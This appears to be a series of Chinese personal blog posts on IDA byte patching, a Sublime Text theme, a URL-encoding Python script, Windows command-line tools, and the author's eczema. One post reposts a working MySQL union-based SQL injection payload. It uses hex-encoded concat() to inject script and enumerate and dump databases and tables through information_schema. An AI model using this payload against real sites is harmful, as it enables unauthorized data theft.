ida 修改 dup2 生成patch [AT4RE Patcher v0.7.5 测试成功]

新手才开始学习勿怪。

学习文章参考这篇文章利用IDA Pro反汇编程序

先把首次运行图片放出来:

图1

通过上面文章的步骤我们一步一步的跟着做,直到修改a 到n,我们在ida上直接进行修改,修改后如图:

图2

此时ida里已经修改完成,我们现在查看patch的相关信息

此时,我们在ida里按快捷键ctrl+alt+p 查看 patched bytes。如下图所示:

图3

打开dup2 我们新建项目

图4

填写一些项目相关信息,之后进行保存

图5

添加 offset patch 如图:

图6

双击[offset patch] 后面的空白栏目进去,填写相关信息

此为重中之重

File: 为目标程序

1
2
00403003 0x1 61 6E

patchmode 为VA

offset 为:00403003

original byte 为:61

patched byte 为: 6E

如下图:

图7

之后添加保存,到主界面的project里生成patch。

修正一下,dup2 我测试老是出错,用AT4RE Patcher v0.7.5 这个测试运行正常。

好郁闷,仅此记录一下,踩个坑,还有就是新版的ida 好像可以直接保存修改后的代码为exe,好强大~~~~

好了

脸上好了许多,终于不怕出去吓人了~
就是仔细看还能看到暗红色的斑,继续涂药,吃药!
不幸的是我还是中度的脂肪肝
这是什么节奏啊
检查出中度脂肪肝,立马就是急性湿疹。。
看看吧,先减少脂肪类摄入,加强锻炼,半年后,在检查看看。
希望能好! ^_^! :+1:

ps:往往愿望是美好的,但是前行的道路是曲折的
泪奔。。。。。。

sublime text3 超级漂亮的主题

  推荐一个sublime text3 的主题 material-theme,超级漂亮

截图如下:

截图

废话不多说,安装方式:

  1. ctrl+shift+p 搜索 material theme 进行安装
  2. github下载主题后,复制到 Packages\User\ 目录下

之后就是启用那个主题,重新启动sublime text就好了~~

不知道谁还用sublime text3,在win10 64bit 情况下~ sublime text3 输入中文,不能跟随,谁晓得如何处理??

美化了导航栏

好长时间没有更新blog了,这次美化下导航栏~

自我感觉还不错~

还有就是美化了代码高亮及修改了emoji的支持~

test: 这几天股市大跌,不知道你:u5272:肉了没有

破相了

最近不知道怎么了,得了急性湿疹,医生给我说是变态反应

哎,真是无语,都不知道对什么超过敏。

已经破了相了~

破相了

破相

破。。。。。

新增了部分shell,不过都比较老。

么办法,现在已经不逛 hack bbs , 只去 wooyunfreebuf

所以资源更新慢,望谅解!!

破相了,好郁闷

不过,已经结婚,也有孩子了~

所以不怕破相~

汉子转url编码 python3版

直接上代码 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# date: 2015-08-31
# filename: zhtourl.py
#
# 中文转url编码
#
# The MIT License
#
# 使用说明,把需要转换的中文字符写入abc.txt,格式请参考abc.txt,result.txt为转换后的文件
#
# Copyright (c) 2015
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
from urllib.parse import quote
f = open("abc.txt", 'r', encoding='utf-8')
d = open("result.txt", "w", encoding="utf-8")
for x in f.readlines():
data1 = quote(str(x.strip('\n')))
d.write(data1+"\n")
d.close()
f.close()
if __name__ == "__main__":
input("输入任意键,退出:")

abc.txt 内容如下:

张伟
王伟
王芳
李伟
李娜
张敏
李静
王静
刘伟
王秀英
张丽
李秀英
王丽
张静
张秀英
李强
王敏
李敏
王磊
刘洋
王艳
王勇
李军
张勇
李杰
张杰
张磊
王强
李娟
王军
张艳
张涛
王涛
李艳
王超
李明
李勇
王娟
刘杰
刘敏
李霞
李丽
张军
王杰
张强
王秀兰
王刚
王平
刘芳
张燕
刘艳
刘军
李平
王辉

优雅的进行sql injection

刚刚从网上看到的~

优雅的进行sql

  1. 首先

    by ```判断字段数
    1
    2
    2. 随意选个可以回显的字段替换下面的代码:
    ```concat(0x3c7363726970743e75726c3d70726f6d707428224a757374207265706c61636520796f757220496e6a656374696f6e20706f696e742077697468206b6579776f726420276d616b6d616e2722293b3c2f7363726970743e3c6469762069643d226172736368223e,0x3c62723e3c7461626c6520626f726465723d2231223e3c74723e3c74643e44422056657273696f6e203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,version(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e2044422055736572203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,user(),0x203c2f666f6e743e3c2f74643e3c2f74723e3c74723e3c74643e5072696d617279204442203a203c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75653e20,database(),0x203c2f74643e3c2f74723e3c2f7461626c653e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e43686f6f73652061207461626c652066726f6d207468652064726f70646f776e206d656e75203a203c2f666f6e743e3c62723e,concat(0x3c7363726970743e66756e6374696f6e20746f48657828737472297b76617220686578203d27273b666f722876617220693d303b693c7374722e6c656e6774683b692b2b297b686578202b3d2027272b7374722e63686172436f646541742869292e746f537472696e67283136293b7d72657475726e206865783b7d66756e6374696f6e2072656469726563742873697465297b6d616b73706c69743d736974652e73706c697428222e22293b64626e616d653d6d616b73706c69745b305d3b74626c6e616d653d6d616b73706c69745b315d3b6d616b7265703d22636f6e636174284946284074626c3a3d3078222b746f4865782874626c6e616d65292b222c3078302c307830292c4946284064623a3d3078222b746f4865782864626e616d65292b222c3078302c307830292c636f6e6361742830783363373336333732363937303734336537353732366333643232222b746f4865782875726c292b2232323362336332663733363337323639373037343365292c636f6e63617428636f6e6361742830783363373336333732363937303734336536343632336432322c4064622c307832323362373436323663336432322c4074626c2c3078323233623363326637333633373236393730373433652c30783363363233653363363636663665373432303633366636633666373233643732363536343365323035333531346336393437346634343733323035333739366537343631373832303536323033313265333032303432373932303464363136623464363136653363326636363666366537343365336336323732336533633632373233653534363136323663363532303465363136643635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4074626c2c3078336332663636366636653734336532303636373236663664323036343631373436313632363137333635323033613230336336363666366537343230363336663663366637323364363236633735363533652c4064622c307833633266363636663665373433653363363237323365346537353664363236353732323034663636323034333666366337353664366537333230336132303363363636663665373432303633366636633666373233643632366337353635336533633733363337323639373037343365363336663663363336653734336432322c2853454c45435420636f756e7428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f736368656d613d40646220616e64207461626c655f6e616d653d4074626c292c3078323233623634366636333735366436353665373432653737373236393734363532383633366636633633366537343239336233633266373336333732363937303734336533633266363636663665373433652c307833633632373233652c2873656c65637420284078292066726f6d202873656c656374202840783a3d30783030292c284063686b3a3d31292c202873656c656374202830292066726f6d2028696e666f726d6174696f6e5f736368656d612e636f6c756d6e732920776865726520287461626c655f736368656d613d3078222b746f4865782864626e616d65292b222920616e6420287461626c655f6e616d653d3078222b746f4865782874626c6e616d65292b222920616e642028307830302920696e202840783a3d636f6e6361745f777328307832302c40782c4946284063686b3d312c30783363373336333732363937303734336532303633366636633665363136643635323033643230366536353737323034313732373236313739323832393362323037363631373232303639323033643230333133622c30783230292c30783230363336663663366536313664363535623639356432303364323032322c636f6c756d6e5f6e616d652c307832323362323036393262326233622c4946284063686b3a3d322c307832302c30783230292929292978292c30783636366637323238363933643331336236393363336436333666366336333665373433623639326232623239376236343666363337353664363536653734326537373732363937343635323832323363363636663665373432303633366636633666373233643637373236353635366533653232326236393262323232653230336332663636366636653734336532323262363336663663366536313664363535623639356432623232336336323732336532323239336237643363326637333633373236393730373433652c636f6e6361742830783363363233652c307833633733363337323639373037343365373137353635373237393364323232323362363636663732323836393364333133623639336336333666366336333665373433623639326232623239376237313735363537323739336437313735363537323739326236333666366336653631366436353562363935643262323232633330373833323330333336313333363133323330326332323362376437353732366333643735373236633265373236353730366336313633363532383232323732323263323232353332333732323239336236343664373037313735363537323739336437353732366332653732363537303663363136333635323832323664363136623664363136653232326332323238373336353663363536333734323834303239323036363732366636643238373336353663363536333734323834303361336433303738333033303239323032633238373336353663363536333734323032383430323932303636373236663664323832323262363436323262323232653232326237343632366332623232323937373638363537323635323834303239323036393665323032383430336133643633366636653633363137343566373737333238333037383332333032633430326332323262373137353635373237393262323233303738333336333336333233373332333336353239323932393239363132393232323933623634366636333735366436353665373432653737373236393734363532383232336336313230363837323635363633643237323232623634366437303731373536353732373932623232323733653433366336393633366232303438363537323635323037343666323034343735366437303230373436383639373332303737363836663663363532303534363136323663363533633631336532323239336233633266373336333732363937303734336529292929223b75726c3d75726c2e7265706c616365282227222c2225323722293b75726c706173313d75726c2e7265706c61636528226d616b6d616e222c6d616b726570293b77696e646f772e6f70656e2875726c70617331293b7d3c2f7363726970743e3c73656c656374206f6e6368616e67653d22726564697265637428746869732e76616c756529223e3c6f7074696f6e2076616c75653d226d6b6e6f6e65222073656c65637465643e43686f6f73652061205461626c653c2f6f7074696f6e3e,(select (@x) from (select (@x:=0x00), (select (0) from (information_schema.tables) where (table_schema!=0x696e666f726d6174696f6e5f736368656d61) and (0x00) in (@x:=concat(@x,0x3c6f7074696f6e2076616c75653d22,UNHEX(HEX(table_schema)),0x2e,UNHEX(HEX(table_name)),0x223e,UNHEX(HEX(concat(0x4461746162617365203a3a20,table_schema,0x203a3a205461626c65203a3a20,table_name))),0x3c2f6f7074696f6e3e))))x),0x3c2f73656c6563743e),0x3c7363726970743e646f63756d656e742e626f64792e696e6e657248544d4c3d646f63756d656e742e676574456c656d656e74427949642827617273636827292e696e6e657248544d4c3b3c2f7363726970743e)

  2. 确定后输入之前联合查询替换前的url(此时的相应字段要替换为makman),确定

  3. 之后就是优雅的进行sql查询了~

选择相应的表,查看数据,导出

以上代码转自 Arschloch’Blog

windows with linux command

如上,这次介绍的是在win下的的gcc 和 一些linux 命令

gcc 一般在win下使用都是MinGW,推荐一个迷你的gcc TDM-GCC,相对MinGW的大体积,TDM-GCC不足35M大小的安装包完全是秒杀~~

另外推荐的是在win可以使用linux 命令的,同样不去使用大体积的cygwin,而是gow(大小不足10M)但是里面的工具基本包含了linux的下常用命令。

大家都可以去试一试,还是不错的~ :ghost: :ghost:

,